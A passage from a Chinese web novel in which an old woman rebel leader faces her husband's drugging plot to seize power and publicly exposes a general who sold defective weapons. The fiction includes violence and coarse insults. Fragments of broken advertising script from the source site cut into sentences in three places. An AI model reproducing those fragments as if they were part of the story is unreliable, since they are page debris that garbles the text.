贺平安握紧手中的大砍刀,忽然间架到了自己的脖子上:“花祝年,你这个挨千刀的!你抛弃糟糠之夫,你不得好死!老子就死给你看,让你永生不得安宁。” 她终于不再像之前那样,脸上平静得看不出情绪。 而是蹲下来,凑到他面前,扒着他的刀刃道:“别做傻事。” 贺平安坠到冰窟里的心,终于感受到了一点暖意,还是靠着自杀换来的。 可是下一秒,她又将他打回到冰窟里。 “你自杀也没什么用处的。我顶多给你立座坟,树个碑,尽到做妻子的责任,并不会良心如何不安。” 贺平安是从下午哭到晚上的,他的眼睛都快要哭瞎了,没想到却换来她这么句话。 肩上的那把大砍刀,被他怒而摔落在地。 他用自己的铁头,拼命地撞着她的肩,一下又一下,像在撞南墙…… “你根本感觉不到痛,对不对?” 花祝年也不是感觉不到痛,只是就算感觉到,她也不会制止他。 等他发泄完,她还是要和离。 贺平安见自己撞了这样久,她既不阻止他,也不回应他,更生气了。 他仰起头,愤而在她的脸上狠咬了一口,险些撕咬下一块肉来。 血珠淌了下来,淌到她的颈处,她垂眸看向他,悲悯中又带着坚决:“和离吧,我跟你,过够了。” 他用尽全身的力气回应道:“不!我绝不!你当初嫁了我,就要跟我过一辈子。不只是我的一辈子,也是你的一辈子。我就是死了,也要化作厉鬼缠着你,当水鬼有什么意思?老子要做恶鬼,拖着你下地狱!” “就要死命地拖着你,让你血肉剥离,枯骨难依,到了地狱,咱俩还是一对儿!” 他趴在她的颈间,眷恋地蹭着她,蹭了自己满脸血,倒真像个恶鬼了。 “年年,你当初既然选择的是我,那是无论如何也不能更改的。要怪,只能怪你自己,谁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 让你就那样轻易地将自己嫁了出去?选错一次,就要用一辈子来承担后果。” “你当初,实在是,不该嫁我。我你还不了解么?但凡吃到嘴里的东西,是绝不会再吐出来的。任你威逼利诱,都没用。我就是要拖着你,我是你的男人,一辈子都是,永远都是。” “前夫哥死得早,他真是没有福气,做了鬼也不知道争。我跟他不一样,是我的,就是我的,就算不是我的,也是我的!” “我是不会和离的,也不做什么将军,要么你就跟我回家种地,要么就让我做你唯一的皇夫。年年,我就要跟你过日子,你已经跟我过了四十五年了,我们就一直过下去吧。这是你选择的,没有反悔的余地。” 贺平安像八爪鱼一样,黏着吸附在花祝年的身上。 让她感到窒息。 之前,为了薛尘,她草草嫁人,却也从来没后悔过。 不过是等价交换,搭伙过日子而已,远到不了后悔的层面。 可如今,她听他这样讲,当初好像确乎是她错了。 她总以为,只要送他封神,自己活着也行,死了也可以。 不曾有一刻为自己考虑过。 直到现在,发觉怎么也逃不开时,才忽然间顿悟,大概,是真的错了。 何苦要送他封神呢? 就算要将心中的不甘昭告天下,要所有人都承认他的功绩,又怎么样呢? 她这一辈子,就这样过去了。 那时候,她什么都没了,因为一时的心死,就草草嫁与他人。 总觉得,只要不是他,那天下间的男人都是一样的。 可其实还是不完全一样的。 在打仗的这十五年里,她的心又渐渐地活了过来。 但现在,好像又要被贺平安给摁死了。 他一直都致力于摁死她。 只要她的心脏不再鲜活跳动,那就会永远安放在他这里。 花祝年愈发加剧了和离的决心。 她轻拍着他的后颈:“你先回去,我再想想。” 贺平安哭着从她肩前起身:“你不会是想把我骗回去,到时候直接一纸诏书,跟我和离吧?” “不会。” 他们这间屋子里闹得这样厉害,外面的守卫都听得清清楚楚。 再加上贺平安一向没什么心眼子,谁给他出招儿拿下花祝年,他就把谁当自己的再生父母。 所以,一出去,就被一群将领簇拥着喝酒去了。 “要我说,咱们这首领,真是个负心女,哪能这么对自己的男人呢?” “嗐,女人有了权力,就这么回事儿。称帝第一剑,先斩意中人。” “你说,咱们这一起出生入死的,哪儿看得过去贺大哥受这个委屈?” “是啊,大老爷们儿,凭什么受委屈?你要说看不上咱贺大哥,早干嘛去了!都过了四十五年了,突然要和离,这谁受得了啊?” “反正我是受不了,贺大哥就得进后宫,就是抬咱们也得给他抬进去!” “去塞北当将军有什么好?到死都未必能再见首领一面。” “首领真是狠心!也不看看这些年,是谁豁了老命地保护她?” 大家你一言我一语地说着。 本来贺平安对花祝年心里就有气,再被这些人这么一拱火,更觉得没法忍了。 不行,他得再回去闹一通。 总是让他等,这他等到什么时候去?他今晚就让她册封,他就要当皇夫! 可他刚要出去闹,就又被一群将领们拽了回来。 “贺大哥,你别着急啊。这女人吧,你越逼她,她搞不好,真敢跟你犟。” 贺平安也不想听他们在这里拱火了,拿着自己的大砍刀,一刀把桌子给劈开了:“那你们说,怎么办!” 一个将领从箱子里,拿出来一件黄袍,披到贺平安的身上。 贺平安扭过头看了一下,倒也没推辞,可也没说话,仍旧是气鼓鼓的。 “贺大哥,跟谁干不是干呐!弟兄们,与其在女人底下苟活,立那么多军规,这不让干,那不让碰的,不如跟你干痛快!” 贺平安一把将黄袍扯了下来:“我婆娘有天命,我哪儿当得了这个。” 将领们上前谄媚道:“嗐,光她有天命,谁没有啊?我们哥几个,还说你有天命呢。首领不是常说,杀的就是天命吗?” 贺平安震怒:“你们要老子杀自己婆娘?” “不不不,贺大哥,你误会了。弟兄们是说啊,这天命不天命的,根本不要紧。打仗时,利用她的天命来安抚人心,震慑诸王,可这天下都平定了,还用得着她那天命干嘛?就跟请客似的,让她吃饭,她还真吃啊!没点儿眼力见儿。” “就是,贺大哥,你想想,咱们是一起打的天下,凭什么让她称帝?我还说让你称帝呢!日后,你若是称了帝,那想圈养多少女人,就圈养多少女人。首领都得在您底下讨饭吃。她得变着法儿地哄着您,哪儿敢不给您好脸色看?” “只要你一声令下,弟兄们就跟着你逼宫,让她退下来。到时候,关她个十天半个月,她就老实了!” 99. 他很自私 权力的角逐,总是如此。 一方没能拉拢到的人,就会被另一方拉拢。 花祝年早在打最后一仗的时候,就已经感觉到人心的散乱。 她对于权力的流失,是极为敏锐的。 就像兵革仙说的那样,天命其实不是什么好玩意儿。 每一个过早彰显出天命的人,最终都逃不过被卸磨杀驴的命运。 薛尘当初是如此,花祝年现在亦然。 这两口子也算是低谷相见了,相隔了四十五年,竟然落得同样的命运。 贺平安大半夜带着夜宵,去找自己婆娘。 推开门后,发觉她正伏在那半张小桌上写东西。 小桌下午的时候,被他一刀劈开了,她就坐在榻上,用膝盖顶着用。 他的心蓦地痛了一下,低头看了看自己拎的食盒。 最终还是走了过去。 这里面放了药,会让她明天在众目睽睽之下晕倒。 没个十天半个月醒不过来。 之后,就以她身体不适的理由,他顺理成章地夺位。 贺平安一点也不想要权力,可是她不让他做皇夫,那他就做皇帝。 他不介意当任何人的傀儡,哪怕是继续回家种地也行。 总之,他是不许她独自快活的。 他走到她身旁,挨着她坐了下来。 不知道是因为心虚,还是因为喝了酒的缘故,直接扑到了她的身上。 贺平安靠着她的肩嘿嘿地笑,花祝年给了他一巴掌。 他还是笑。 纸上的字迹密密麻麻,可是他看不懂。 不认识字儿。 但没关系,不耽误俩人过日子。 贺平安伸手摸了摸她脸上的伤口:“我婆娘真好看。” 她转过头看向他:“你想死是不是?” 他落寞地收回了自己的手,将头轻轻贴靠在她的肩上:“年年,我们不和离,好不好?” 花祝年放下笔,认真地劝他:“贺平安,好男儿志在四方,怎么能囿困后宫里呢?你应该去更广阔的天地。” 她总是这样,像神明一样地和他讲话。 疏离又仁慈,冷淡又悲悯。 当初,他第一次见她时,她给他的感觉,就是这样。 他一辈子都在追逐自己的神明,乞求她能死心塌地地爱他。 可她,能给他的,也只是垂怜而已。 贺平安抱着她闹道:“我不是好男儿,我就要做孬种,我是全天下最大的孬种!我愿意困在后宫,困一辈子才好呢。” 她气道:“那你就起开,压得我腰疼。” 他不舍地离开了她的肩,从食盒里端出一碗熬了很久的骨汤:“有些日子不喝了吧,给你补补身体。” 花祝年写着写着字,忽然间笑出了声。 她看着他手里的汤,凑过去闻了闻:“你身上的酒气,比汤的味道还重。大半夜地,喝了酒不睡觉,给我炖汤喝?闲的慌么?” 贺平安忽地手抖了一下,不知道她是不是对自己起了疑心。 玩心眼子,他玩不过她,但他力气比她大。 可若是强行灌给她喝,他又舍不得。 贺平安捧着汤碗,捧了半天,最后别扭道:“不喝算了。” 刚想放回去,却被花祝年接了过来。 今夜,贺平安是在她这里睡的。 他们有半个月不在一起睡了,平常超过三天,贺平安就闹。 这次是因为花祝年要跟其他人商量事情,总是商量到很晚,才独自睡了几天。 贺平安没有她在身边睡不着,有她在的话,就能睡得很好。 一直睡到了大中午,还是被手下人喊醒的。 他醒来一看,身旁已没有了她的身影,只有一个小兵站在一旁。 空气里有股诡异的安静,军营里平时很吵的。 他一边穿着衣服,一边随口问道:“什么事儿啊?” “首领让大家去外面集合,好像,好像是要斩什么人。” 等贺平安出去后,发觉设了两个刑位,可被抓来的却只有一个人。 昨晚跟贺平安一同喝酒的将领,凑过来跟他窃窃私语道:“听说,首领是直接让虎翼去屋里抓人的,什么令也没有下。昨晚,你给她喝那东西了吗?” 贺平安随意地摆了摆手:“喝了啊,这还用问?信不过老子是不是?” “不是,贺大哥,弟兄们这不是,心里没底么。你说这首领,抓人也没个缘由,都是一起出生入死的弟兄,还把人压上了刑场,多让人寒心啊!” 贺平安笑了笑:“没事儿,等老子上了位,给弟兄们补偿回来。” 他的话,或多或少安抚了众将领的心。 一个个的都在这里,陪着花祝年干等着行刑。 可等了好久,都没什么动静。 虎翼顶着大太阳跟花祝年抱怨:“夫人,鲁戎好墨迹啊。让她带个人都这么慢。” 虽然她跟了她十五年了,可还是更喜欢喊她夫人,总觉得这样更亲切一些。 她们比旁人还要多一层关系。 虎翼从来没有向其他人,隐瞒过自己的过往。 她不觉得给人做过妾,是一生的污点。 反而从一个妾,成为拿刀的兵,是很带劲儿的事。 以前她年纪小没得选,现在她就要杀杀杀。 宋礼遇看见她了都躲着走。 他觉得尴尬,哈哈哈哈哈!反正她不尴尬。 花祝年本不想派人去找鲁戎。 她一向是信任她的,再加上鲁戎性格很犟,如果什么事交待给她后,再让旁人插手的话,那她说不准就会跟人打起来。 可这次,鲁戎去的确实是有些久了,她只能对虎翼说道:“你去鲁戎那边看看,是不是出事了?” 虎翼正要走的时候,又突然被花祝年喊住:“只要悄悄看就好,她没事的话,你就回来,别扰她做事。” 虎翼有点儿不开心:“夫人,我抓人抓得这样快,还一早通知大家来这里等着,你都不表扬我。鲁戎让你等这么半天,你都眼巴巴地等着,还不许我扰她。你果然还是待鲁戎更好,明儿我不跟你了,我找别人去。” 花祝年哑然失笑:“快去吧。” 虎翼去牢里找鲁戎的时候,看到她正对着一个囚犯,哭得泣不成声。 夫人虽说不让她扰她,可她偏要过去扰。 “你站在这里跟个呆瓜一样,哭哭啼啼地干嘛呢?不知道夫人今天要杀人立威么?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 若是换了鲁戎往日里的脾气,早就跟虎翼打起来了。 可今日,却指着衡羿,对虎翼说道:“你仔细看看,认不认得他?” 虎翼不以为然道:“我怎么会认——” 初看是不认识的。 她不记得自己跟刀疤脸打过交道。 可是,细看的话,却觉得有些熟悉,就是一时想不起来在哪儿见过。 虎翼又仔细地绕着他走了一圈,看见他身上的旧伤,再结合他这刀疤脸,忽然间想到十五年前的一件旧事。 当时她被王寡妇砍伤,被一个后生抱去村医家里,后来村子里都传疯了,说贺平安砍伤了那个后生,因为他勾引夫人。 还给后生戴上了狗链子巡街。 “奥,你是,是那个谁!我记得,就是你一路护送夫人,来京城找宋礼遇的。” 鲁戎哭倒也不是因为再见故人。 只是,衡羿跟她解释,当初花祝年为什么丢下她。 不是她丢下她,她是留他照顾她的,是他自己跟了过去。 因为,他很自私,只想照顾自己喜欢的人,旁人的生死是一概不管的,她要怪就怪他好了。 在他说这些的时候,鲁戎还没有哭。 因为,她有想到的。 甚至,她也听过他们两个人,当初应该是发生了些什么,不然他也不会被贺平安砍成这样。 可就在她好奇地问他:“现在还是很喜欢吗?” 听到他没有片刻犹豫,甚至还十分坦荡地承认道:“喜欢。” 她蓦地痛哭出声,就完全忍不住,像是一件满怀期待的事,突然落空了一样。 如果说当时,他也不过十六七岁的年纪,心智并不如何成熟,一时离家太远,遇到了让他觉得很温暖的女人,昏了头喜欢上,那也是有可能的。 可现在时过境迁,他已经是一个成熟的男人了。 原来还是那么喜欢。 而当初,竟也不是昏了头。 他的一句喜欢,掀翻了她多年的笃定。 鲁戎曾经对他们之间的这段露水情缘,是那样地鄙夷。 她甚至觉得,花祝年跟自己娘亲一样,都是被年轻后生给哄迷糊了。 有谁会喜欢一个老太太呢?定是在图谋些别的! 可没想到,他居然是真的喜欢。 “你难道没有跟她相认么?” “没有。” “她听到你的名字后,就没有想起你?” “我的名字,并不是什么秘密,在你们制定作战计划的时候,应该也没把我和当年的那个人联系在一起吧。” 是的,完全没有。 都这么多年过去了,大家只当他是被贺平安当成奸夫羞辱,没脸再待在原来的地方。 没人会想到,他会成为慎王的得力干将,现如今又沦为阶下囚。 鲁戎猛地擦了把眼泪:“我不会让你死的。既然你还喜欢她,就应该告诉她。她,她应该——” 虎翼面色复杂地打断她,忍不住插话道:“夫人应该,不喜欢他,你还是不要这样吧,省得让夫人难做。” “我不管,我就要告诉她!告诉她,当年的那个人,这么多年过去,还是很喜欢她。他从来没有忘记过她,她却把他给忘了。” 100. 贱不死他! 衡羿漠声制止道:“不必了。她不用知道。” 他一直都很吝啬于表达对她的喜欢。 每次都是很坦诚地说完,又一个劲儿地在内心否定。 情感上他确实喜欢,理智上他不能喜欢。 他绝不会让自己陷进这种庸俗黏腻的情感之中。 况且,她跟他是没有未来的。 衡羿最看不起痴愚的人,也绝对不会成为那种人。 等她死后,用漫长的神仙生涯去怀念她。 怕不是疯了! 注定要消失的人,是不配得到他的情感的。 他始终都很清醒,对于她,也只是喜欢而已。 喜欢是什么意思呢? 比欣赏增一分,比爱减一分,有着随时都能断绝情感,抽身离开的自由。 七情六欲最能蛊惑人心。 他是神,没有这些乱七八糟的东西,能给到她几分喜欢,已经是无上恩赐了。 再多的,也给不了她。 衡羿从来就不喜欢人间。 人间困的是饥肠辘辘的物欲囚徒,是自轻自贱情感乞丐,是无知蛮横的杀戮工具…… 这也是当初天上那些神仙,被她一句话打下来转世的愤怒所在。 以神的视角来看,人间的那些忠诚死士,痴男怨女,权谋算计……全是在大发他妈的神经! 调兵遣将者,把没资源的人晾在一旁,偶尔想起来重用一下,就能引得久未得到认同的小可怜,死心塌地报什么知遇之恩。 男人不过是说几句看起来情真意切的话,居然能哄得女人给自己生儿育女,伺候公婆,操劳一生。 权谋者算计来算计去,哪一个不是在为后来居上者守江山? 哈哈哈哈哈,这个逼世界真是他妈的疯逑了! 一群没有自我认同的癫子,疯狂地剖出自己鲜血淋漓的真心来,将自己的筋骨一寸寸磋磨折断,来寻求着冷漠世道的肯定,好像这样才能找到自己的价值。 不被人狠狠作践一番,好似没有立足之地。 凡人总是这样的自轻自贱,实在是不配得到任何珍惜。 衡羿看不起为爱发大疯的贺平安,看不起自己痴愚的小信徒,连带着也看不起小信徒带在身边的孩子们。 看不起那样热烈又灿烂的情感,不过是在被七情六欲所操控罢了。 他视他们如水中恶鬼,避之不及。 轮转百千万世,他的心性都不曾动摇分毫。 此刻,自然也不会为她如何。 也不过是喜欢而已,这种情感太单薄了,单薄到说出来,像个艳俗的笑话。 其实,不只他拿这种情感当笑话。 花祝年也是如此。 鲁戎没有听衡羿的话,执意要将一切告知她。 结果,换来了一巴掌。 这些年来,她跟她对着干了那么多次,没有一次受到过责罚。 可就在她将一个男人的情感,全盘托出的时候,居然被她重重地甩了一巴掌。 鲁戎是将花祝年喊去一旁说的,安排衡羿躲藏在屏风之后。 因为鲁戎怕花祝年一见他,便要拉出去砍了他,所以让他等她们谈好了再出来。 只是,他没想到鲁戎会挨打。 “你知不知道我现在的处境如何?前有豺狼,后有虎豹,让你带个人过来斩,你竟然在这里跟我谈起感情来了!” “当初他不过是一块肉,是你快饿死的时候,勉强用来充饥的而已。已经这么多年过去了,你放着大好的前途不要,居然惦念一块腐了的臭肉?” 鲁戎从地上爬起来恼道:“我难道是为了我吗?我是为了你!” “我缺你为了我?我缺你给我找男人?” “你不觉得很遗憾吗?他那么多年都还喜欢你,可你却要亲手斩了他。” 花祝年被鲁戎气得直发笑。 “你是不是神经?我要他的喜欢有什么用?他喜欢我是他贱得慌,到现在一直未娶,更是他贱到了骨头里!贱不死他!我为什么要回应这种下贱的单向情感?” “你不会不知道一个无能男人的喜欢意味着什么。意味着禁锢、恶心、卑劣,像被子里放了一个冗长的闷屁,闷不死你也恶心死你!” “这么多年的乱世还没有看清楚吗?你手上提的刀但凡钝上一点,就又要被抢被欺辱被贱卖,到时候哭爹喊娘的都没人救你。他一个手下败将,算什么东西,也配你来为他求情?” 鲁戎的手从脸上放了下来,她的半张脸被她打得肿胀不堪。 她冷冷一笑:“怪不得他们都说你——” 花祝年看见她脸上的伤,一时心软,对她问道:“说我什么?” 她明知不会是什么好话,却还是问了。 “说你自从死而复生后,便没有影子,大概早已经不是人了,所以没有人味儿也正常。” 花祝年不知道该怎么说。 其实鲁戎和虎翼,只是做着最简单的事,一门心思地在战场上杀敌,并不知道后方他们博弈得有多厉害。 有时候,甚至就连一道攻位策略,都要吵上很久。 有一次连着吵了整夜,贺平安的刀就没从风和畅脖子上下来过,就那样逼着他接受。 有人味儿的大都死得很惨。 二代的天真,大多用一代的残忍置换而来。 这是没办法的事。 花祝年像暗夜的烛光,只不过这光是冷的。 所以,看起来更像是荧荧的鬼火。 “我杀他怎么了?就算他喜欢我,我就不能杀吗?天下的帝王杀死挚爱的都不在少数,怎么我杀一个喜欢我的男人,就要背上千古骂名吗?” “他的喜欢单薄到不值一提,只有他死了才勉强对我有些价值。这很难理解吗?他若是喜欢我,就该死而无憾。连死都不肯,算什么喜欢?” 鲁戎心痛地抽了花祝年一巴掌。 “你活该孤家寡人!” 花祝年嘶吼道:“从起义那天起,我就做好了孤家寡人的准备!我绝不让天下人再经历我所经历的事!这个位置,我必须坐!内忧外患,打仗打了十五年,几千万英灵都死了,他有什么死不得的?就因为喜欢我,他就拿了免死金牌吗?他也配?” 鲁戎感觉自己很愧对薛凡。 当初,如果直接将他带去刑场就好了,也不至于在这里听这些残忍的话。 可她还是想为他最后 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 争取一次。 “你有没有想过,他一直念着你,是为了你才背叛慎王的?” 花祝年被气得浑身颤抖:“这种鬼话你也信?他为了活下来,什么屁话说不出口?我若是说饶了他,他跪下来喊我祖宗都行!” 鲁戎无望地嘶吼道:“你还是不相信他!” “我为什么要相信?相信这些会给我一整个天下吗?并不会。他们一个个跟蛆虫一样,天天惦记着我手上的权力。蛆虫经年的喜欢和惦念,是什么值得骄傲的事情吗?” 当然不是。 不过,这只是神仙的看法。 就像当初在天上的衡羿一样,他曾把她看作蛆虫,觉得她对自己的供奉很是麻烦。 他厌恶她的一切,整天做一些没用的功夫,不过是在乱他道心。 可鲁戎是很难接受的。 她并不像花祝年这般饱经风霜,也没有心死到那种地步。 花祝年在她面前,像一个挥霍感情的老怪物。 她是那样冷漠地践踏着一个后生的心意。 但其实衡羿是不怎么在乎的。 他甚至听完小信徒的话,内心有种莫名的爽感。 也不是喜欢被践踏,她骂他,轻贱他,他自然难受,可就是觉得爽翻了。 他没办法确切地解释这种爽感的来源。 非要说的话,那可能是,觉得她不愧是他的小信徒,果然得到了他的真传。 哈哈哈,这小老太也太不是东西了! 衡羿已经很久没这么爽过了。 哪怕是被回旋镖打中了,也还是爽得不行。 他当初也是这样轻贱她的喜欢的。 没关系。 真的,没关系。 衡羿戴着脚镣从屏风后面走出来,一步步地朝外面的刑场走去,连一个目光也不肯给自己的小信徒。 爽归爽,可是爽完了,也还是会难受的。 小信徒长大了,也不再需要他,一箭射碎他的泥像还不够,还要斩尽他的肉身。 外面的阳光依旧炽热,风吹在脸上都是暖的。 他走到刑位前,看到那个被几个壮汉,才勉强摁住的将领,自顾自地跪了下来,不用任何人摁,趴在了断头台上。 安逸啊,真是好安逸。 待会儿她一刀下来,他就回天上去了。 终于能摆脱这种不死不休的纠缠,过他闲适自在的神仙日子。 人间这个粪坑,他再也不来了。 被死死摁住的武寒仇叫嚷道:“不是,我,哎,我真服了,你这——” 衡羿趴在断头台上转了个方向,看着他:“怎么了吗?” “你是不是有病?哪有自己走上刑场,趴台子上的?好歹也挣扎一下啊!得让在场的所有人知道,她就是个滥杀无辜的老妖婆!闹得大了,她也怕哗变,到时候就不敢杀了。” 衡羿闭上了眼睛,懒得理对方。 武寒仇又大声嚷嚷道:“你听见没?倒是说句话啊!我什么错都没犯,哐地一下就给我扔这儿来了。她这不是暴君是什么?你得跟着我一起反她!” “你找找自己的原因吧。退一万步说,就算你什么错也没犯,就不能被杀吗?” 101. 我都不好意思说你 武寒仇纵横沙场十几年,从来没虚过。 结果让衡羿一句话给干懵了。 不是,他有病吧! 什么错都没犯,斩他干嘛?这还有天理吗? 其实武寒仇一般跟底下人不怎么讲理,但是刀架脖子上了,他突然就想讲理了,甚至是谋求一个公正。 可他看旁边这人一心求死的样子,越看越闹心。 他不解地盯了他一会儿后,忽然对他嘲讽道:“奥,我想起来了,你是慎王的人!怎么卖主求荣后,明主没接受你,也跟我一起上断头台啦?” 衡羿闭着眼睛睡觉,仿佛旁边趴了一只聒噪的蟾蜍。 他从来不在乎什么背叛不背叛的。 那是用来约束人的,又不是来约束神的。 兵革仙当初都是一投明主,再投明主,又投明主…… 谁有希望跟着谁干,良禽择木而栖,怎么能说是背叛呢? 况且,他也从未忠诚于谁,所做的一切,不过是想尽早地结束战争而已。 倘若当时慎王赢面大一些,他也会去策反小信徒的,才不是为了她如何如何。 天地可鉴,他并不偏爱于她,仍旧是一个很合格的神。 衡羿身上是半点污点儿都不能有的,曾经他已经错过一次了,差点弄死贺平安。 幸好被上衡给救了回来。 之后,他一直都是很清醒很冷静的。 也不再想跟小信徒有什么。 就连天道降下旨意,要他辅佐社稷主,他也是要跟她保持距离的。 很快她就会不在的。 可他要做万世,乃至万万世的神明。 她不能成为他履历上,夺目刺眼的私心。 衡羿非常爱惜自身的羽毛。 况且,他除了是神之外,原身还是一只鹤。 更爱了。 可以说,痴愚的小信徒,连他的一根羽毛都比不过。 高傲哥又莫名其妙地高傲起来了。 武寒仇在一旁不断叫嚷着,一会儿讽刺他几句,一会儿又大声喊冤…… 衡羿枕在断头台上,却几乎要睡着。 他之所以这样淡定,是对方说的话,他一个标点符号都不信。 衡羿根本不信小信徒会滥杀无辜。 小信徒是特别特别好的人,不会因为私情而救人,也不会因为私仇而杀人。 不然贺平安早被她斩了八百次了!甚至他也会被她纳入后宫。 可这些事都没有发生。 能让她在进京称帝之前,从一众将领中拎出来杀的人,势必犯了不可饶恕的错误。 只是误以为自己藏得很好而已。 凡间的人在做完坏事后,最喜欢虚张声势了。 小信徒杀人绝不是随便杀的。 倘若仅仅是为了杀人立威,杀贺平安岂不是更好么? 那个混蛋,居然能蹦跶这么久,衡羿实在是没想到。 倘若这些年他在她身边的话,早把他给—— 不经意地想到这里,又被他给猛地止住了。这是他们两口子的事,并不是他该管的。 他也不能对贺平安怎么样。 衡羿每天提醒自己八百次,绝不能被凡人给毁掉! 他现在跟她是上下级的关系。 至高无上的神明,绝不是那种上学爱上老师,打工爱上老板,辅臣爱上社稷主的恋爱脑。 一个神是绝对不会爱上,自己那痴愚狂热小信徒的。 谁爱,他笑谁! 周围的将领,起初是被花祝年突然压着人,上断头台给吓到了。 可随着武寒仇的叫嚷,纷纷心中开始不平起来。 其实本就憋着一股气,现在看到昔日的弟兄,被薄情首领这样对待,更想反了。 只是一直有风和畅在从中周旋着,要大家先别闹。 风和畅虽是军师,可是跟这群武将的关系,也非常微妙。 他想要跟花祝年争权,那就要博得众人的支持,可相对应的有些事,他也得帮他们遮掩。 不过,随着这些年的运作,他已经逐渐和这些人交融在一起了。 什么时候闹,那就是他一句话的事。 现在不是闹的时机,因此他才出来调和,还能向花祝年表表忠心。 可将领们是从战场上厮杀过来的,有时候上了头,风和畅的话也不是那么好使。 他越是不让人闹,大家反而闹得越厉害。 甚至,一些污言秽语都冒出来了。 贺平安听不了这个,他当即就提着刀架到了一个叫嚷得最厉害的将领身上。 “再骂老子砍死你!” 以往这种威胁是顶用的。 可现在大家的情绪已经被挑动起来了,隐隐有合伙弄死贺平安的气势。 他现在护得越厉害,别人就越想杀他泄愤。 杀不了花祝年,还杀不了你么? 风和畅又出来做和事佬。 他现在的确觉得气氛有些诡异,真不是闹的时候。 花祝年过于沉得住气,他反倒开始心慌起来。 “贺大哥是首领的男人,护妻子有什么关系?” “公事是公事,私事是私事,这总要分得清楚吧!之前那么难都过来了,现在闹个什么劲?” 风和畅竭力想把众人的目光,转回到杀武寒仇这件事情上来。 而不是让他们把对花祝年的不满,发泄在贺平安身上,那样虽利于团结,但不利于夺权。 果不其然,风和畅的话一说,大家又开始为武寒仇鸣起不平来。 他甚至已经隐隐感受到了杀气。 仿佛只要有人挑个头,花祝年今天就得死这儿。 愤怒值已经到临界点了。 花祝年自然感受得到。谋求权力的人,倘若连这点儿敏感度都没有,那,还是回家吧。 她方才之所以一直不说话,就是在等下面愤怒的积聚。 让他们发泄到极致,最想反的时候,突然来一场震慑,才会刻骨铭心。 她把虎翼喊到自己身边,小声地说了些什么。 让她去传话。 虎翼走到台前,对着下面的人,用最为寻常的音量说道:“夫人说,想好了再闹。” 这是夫人教她的。 因为下面太吵了,如果她很大声的话,是没有人听的。 反倒她用寻常的音量,让大家将将听见,可是又不那么听见的时候,才会静下来听。 后来没多久,就趋于安静了。 一方面是在等她讲话,另一方面,那几个字确实很恐怖。 想好了再闹。 到底是在为自己而闹,还是在为别人而闹?又值不值得闹? 现在还没进京,给各自册封的职位,还没整理出来。 若是一时反了她倒也罢,可若是没反成,贸然为旁人强出头,那这十几年的仗岂不是白打了? 天下熙熙,皆为利来,天下攘攘,皆为利往。 为了一个将死之人去叫骂,让对方临死之前,再利用自己一把,恐怕是天下间最愚蠢的事。 安静下来后,花祝年将武寒仇的罪状交给鲁戎,让她宣读。 鲁戎肿着半张脸,不情愿地走到她面前,小声地跟她闹脾气:“你以为这样做,我就会原谅你么?打了我,再让我出尽风头,我就会感激你?你跟那群老阴比有什么区别?” 其实鲁戎挺可爱的。她虽然经常跟花祝年对着干,但绝不会明面上叫嚷,也担心会影响到她的权威。 就算是闹脾气也是暗戳戳地给她两句。 花祝年笑了笑:“谢谢夸奖。” 老阴比是对一个权谋者的高度认可,她还挺喜欢的。 不阴还怎么玩儿?只会被玩儿。 鲁戎心里本来就有气,拿到罪状之后更气了。 越读越气。 等她在台上宣读完后,下面的众将领安静如鸡。 武寒仇确实该杀。 花祝年一向军纪严明,武寒仇不敢明着抢什么,他也看不上那点小钱。 可是,他仗着自己搞军储的职位,弄了一批劣质兵器。 跟正常的兵器混杂在了一起,这样不容易被人发现。 可这就导致,九年前的一场战役中,这边的士兵伤亡惨重。 当时大家都觉得是花祝年决策失误,她被剥夺了三年的决策权。 那三年,她就跟个吉祥物一样。什么决策都做不了,也没什么人肯听她的,大家都觉得她打仗没水平,造成了众多士兵枉死。 旁的首领或许有很多次试错的机会,可就因为她是一个老太太,大家都说她老眼昏花,懂个屁的打仗。 她只要错上一次,就会被剥夺所有权力。 直到大家跟着风和畅差点全军溃败时,她才重新被抬了出来。 没信心了,又需要她的天命加持了。 那件事一直是她的伤痛,她甚至一度自责……误以为真的是自己决策失误。 直到,再一批劣质兵器的出现,花祝年才想起当年的那件事。 当初的影响相当恶劣,武寒仇的确害怕了很多年,晚上做梦都是士兵的亡魂来找他报仇,所以很多年都没再贪,这也是花祝年一直被冤枉了这么多年的原因。 直到三年前,武寒仇觉得时间都过去这么久了,应该没人记得了,就又中饱私囊了一次。 这次贪下来的钱,可保他家五十代! 就算进京后,花祝年什么封赏都不给他,也值了。 可没想到栽了。 他几乎每个环节,都做得天衣无缝,连检测兵器的人,他都拉着对方一起发财。 按理说,花祝年不应该查到的。 武寒仇是那种就算做错了,没理还要搅上几分的痞子性情。 他直接开骂。 “你他妈的,不知道哪里来的老妖婆!就算我做得不对,你就完全对吗?既然你早查出来了,干嘛不早点揭发我?非要利用我又给你打了三年的仗,弄得老子一身的刀伤箭伤,最后被你送上断头台,你办得这叫人事儿?” “你现在也不过是利用我的错处,争权夺利而已,老子也算是看明白了。女人就是这么小肚鸡肠,弄你点钱怎么了?你用得着打碎牙往肚里咽,隐忍多年才想起来杀老子?” “你是真的阴!他妈的,我看这群人里,最阴的就是你!我都不敢想,你明明都知道我的罪状,平日里是怎么如常把我喊过去,跟我商量战略的?呸,恶心!你是全天下最能装的人!” “我都不知道贺平安那个纯傻逼喜欢你什么,搂着你睡觉都不慎得慌么?你他妈就跟条草丛里的毒蛇一样,蛰伏多年就等着吞人,浑身阴冷阴冷的,又没有影子,他老小子搞不好有恋尸癖!” 贺平安恼道:“你在这儿说你妈呢!我婆娘是最好的婆娘,没有影子怎么了?谁说没有影子就是鬼了?那神仙还没影子呢!我婆娘是仙女。” 从见她第一眼起,他就觉得她一定是仙女。 后来哪怕是跟她过了四十五年,他也仍旧觉得她是仙女。 不然,也不会看得那样紧。 武寒仇冷笑:“只有你把她当仙女,下面的人谁不说她是老不死的老妖婆!” 衡羿之前睡得迷迷糊糊的,此刻也睁开了眼睛:“我不觉得诶,我觉得她比仙女还要好看。不过,好看只是她最微不足道的优点,她是社稷主,是天下王,是你们这些蛆虫所惧怕的存在,是万世都不会出现的人,是唯一。” 武寒仇都要气炸了。 若不是他被几个壮汉给摁着,他非要临死前弄死这个狗日的不可。 